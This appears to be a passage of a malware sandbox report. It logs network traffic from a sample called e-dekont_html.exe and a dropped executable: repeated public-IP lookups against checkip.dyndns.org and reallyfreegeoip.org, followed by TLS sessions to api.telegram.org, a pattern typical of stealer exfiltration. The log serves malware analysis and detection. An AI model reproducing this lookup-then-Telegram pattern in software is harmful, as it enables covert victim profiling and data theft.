Nov 20, 2024 07:52:27.007400990 CET	61282	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:27.057197094 CET	61282	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:27.057235956 CET	443	61282	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:27.057574034 CET	443	61282	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:27.059108019 CET	61282	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:27.099323988 CET	443	61282	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:27.285608053 CET	443	61282	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:27.285705090 CET	443	61282	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:27.285782099 CET	61282	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:27.327327013 CET	61282	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:27.429968119 CET	443	61283	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:27.446254969 CET	61283	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:27.446309090 CET	443	61283	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:27.582225084 CET	443	61283	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:27.582312107 CET	443	61283	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:27.582443953 CET	61283	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:27.582930088 CET	61283	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:27.586882114 CET	61281	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:27.588591099 CET	61284	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:27.592119932 CET	80	61281	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:27.592705965 CET	61281	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:27.593545914 CET	80	61284	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:27.593651056 CET	61284	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:27.593836069 CET	61284	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:27.598674059 CET	80	61284	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:29.172739983 CET	80	61284	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:29.174340963 CET	61285	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:29.174391031 CET	443	61285	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:29.174487114 CET	61285	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:29.174792051 CET	61285	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:29.174808025 CET	443	61285	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:29.228024960 CET	61284	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:29.628767967 CET	443	61285	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:29.631058931 CET	61285	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:29.631083965 CET	443	61285	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:29.774925947 CET	443	61285	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:29.774995089 CET	443	61285	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:29.775134087 CET	61285	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:29.775760889 CET	61285	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:29.780258894 CET	61284	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:29.781481028 CET	61286	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:29.786473036 CET	80	61286	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:29.786556959 CET	61286	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:29.786611080 CET	80	61284	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:29.786780119 CET	61284	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:29.786780119 CET	61286	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:29.791691065 CET	80	61286	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:30.439938068 CET	80	61286	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:30.441859961 CET	61287	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:30.441915989 CET	443	61287	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:30.442086935 CET	61287	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:30.442451000 CET	61287	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:30.442467928 CET	443	61287	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:30.493685961 CET	61286	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:30.929121971 CET	443	61287	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:30.931087017 CET	61287	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:30.931107044 CET	443	61287	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:31.077049971 CET	443	61287	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:31.077121019 CET	443	61287	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:31.077210903 CET	61287	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:31.077785015 CET	61287	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:31.082248926 CET	61286	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:31.082889080 CET	61288	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:31.087631941 CET	80	61286	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:31.087696075 CET	61286	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:31.087738991 CET	80	61288	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:31.087804079 CET	61288	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:31.087949038 CET	61288	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:31.092755079 CET	80	61288	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:31.563946009 CET	80	61288	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:31.565932989 CET	61289	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:31.565992117 CET	443	61289	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:31.566203117 CET	61289	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:31.566581964 CET	61289	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:31.566602945 CET	443	61289	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:31.618767023 CET	61288	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:32.029791117 CET	443	61289	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:32.031636953 CET	61289	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:32.031680107 CET	443	61289	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:32.180910110 CET	443	61289	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:32.180991888 CET	443	61289	188.114.96.3	192.168.2.4
Nov 20, 2024 07:52:32.181152105 CET	61289	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:32.181806087 CET	61289	443	192.168.2.4	188.114.96.3
Nov 20, 2024 07:52:32.191895962 CET	61288	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:32.192878008 CET	61290	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:32.192959070 CET	443	61290	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:32.193064928 CET	61290	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:32.193679094 CET	61290	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:32.193696976 CET	443	61290	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:32.197304964 CET	80	61288	193.122.130.0	192.168.2.4
Nov 20, 2024 07:52:32.197372913 CET	61288	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:32.810045958 CET	443	61290	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:32.810307026 CET	61290	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:32.811769009 CET	61290	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:32.811814070 CET	443	61290	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:32.812747955 CET	443	61290	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:32.814323902 CET	61290	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:32.859349012 CET	443	61290	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:33.060009003 CET	443	61290	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:33.060094118 CET	443	61290	149.154.167.220	192.168.2.4
Nov 20, 2024 07:52:33.060167074 CET	61290	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:33.062693119 CET	61290	443	192.168.2.4	149.154.167.220
Nov 20, 2024 07:52:43.379934072 CET	49738	80	192.168.2.4	193.122.130.0
Nov 20, 2024 07:52:49.243485928 CET	49749	80	192.168.2.4	193.122.130.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:52:10.302706003 CET	54483	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:52:10.310097933 CET	53	54483	1.1.1.1	192.168.2.4
Nov 20, 2024 07:52:12.672609091 CET	54678	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:52:12.679936886 CET	53	54678	1.1.1.1	192.168.2.4
Nov 20, 2024 07:52:20.010752916 CET	58340	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:52:20.018009901 CET	53	58340	1.1.1.1	192.168.2.4
Nov 20, 2024 07:52:25.644753933 CET	53	64781	1.1.1.1	192.168.2.4
Nov 20, 2024 07:52:26.378350019 CET	53743	53	192.168.2.4	1.1.1.1
Nov 20, 2024 07:52:26.385658026 CET	53	53743	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 07:52:10.302706003 CET	192.168.2.4	1.1.1.1	0x7acf	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:12.672609091 CET	192.168.2.4	1.1.1.1	0xedcc	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:20.010752916 CET	192.168.2.4	1.1.1.1	0x891c	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:26.378350019 CET	192.168.2.4	1.1.1.1	0x2fd0	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 07:52:10.310097933 CET	1.1.1.1	192.168.2.4	0x7acf	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 07:52:10.310097933 CET	1.1.1.1	192.168.2.4	0x7acf	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:10.310097933 CET	1.1.1.1	192.168.2.4	0x7acf	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:10.310097933 CET	1.1.1.1	192.168.2.4	0x7acf	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:10.310097933 CET	1.1.1.1	192.168.2.4	0x7acf	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:10.310097933 CET	1.1.1.1	192.168.2.4	0x7acf	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:12.679936886 CET	1.1.1.1	192.168.2.4	0xedcc	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:12.679936886 CET	1.1.1.1	192.168.2.4	0xedcc	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:20.018009901 CET	1.1.1.1	192.168.2.4	0x891c	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:20.018009901 CET	1.1.1.1	192.168.2.4	0x891c	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:52:26.385658026 CET	1.1.1.1	192.168.2.4	0x2fd0	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	193.122.130.0	80	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:10.325648069 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:11.369198084 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:11 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0692645c0508c1d76532682d1acb3868 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 20, 2024 07:52:11.440049887 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 07:52:12.561940908 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5b45d6737af18f3c783c76c1630a2a24 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 20, 2024 07:52:13.499758959 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 07:52:13.604727030 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b934ffd403c3b37b184f814fc685a74e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	193.122.130.0	80	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:14.239823103 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 07:52:14.940684080 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 243d95896239242d7a05bd886335cd7d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	193.122.130.0	80	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:15.524806023 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:16.666760921 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8d9a8402a6199b15b29d325b3f5ac96e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	193.122.130.0	80	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:16.604588032 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:17.142674923 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:17 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b27c5b87a98960cba6309f9b9b94b0c6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 20, 2024 07:52:17.151498079 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 07:52:18.188131094 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d88087268bb27347e8ad913dcf9db885 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 20, 2024 07:52:19.308557987 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 07:52:19.414479971 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 029c26e48c17c4d3cab72497771901b1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	193.122.130.0	80	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:17.297436953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:18.846545935 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ae9e7c5fc37e2652a9b92663b1531d71 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	193.122.130.0	80	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:19.524987936 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:20.009561062 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c26ae82502013e7043f6b9418388a762 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49749	193.122.130.0	80	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:20.086951971 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 20, 2024 07:52:20.587681055 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 59e9ba3cb43a81716b2a2faebe01f3d4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49751	193.122.130.0	80	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:20.632050991 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:21.240581036 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:21 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5b9392353e21a2a18a3667e365a92d3a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	193.122.130.0	80	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:21.305669069 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 20, 2024 07:52:23.158598900 CET	320	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a080142ff8129e68f9b6b9e126610ac4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	193.122.130.0	80	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:52:21.899164915 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
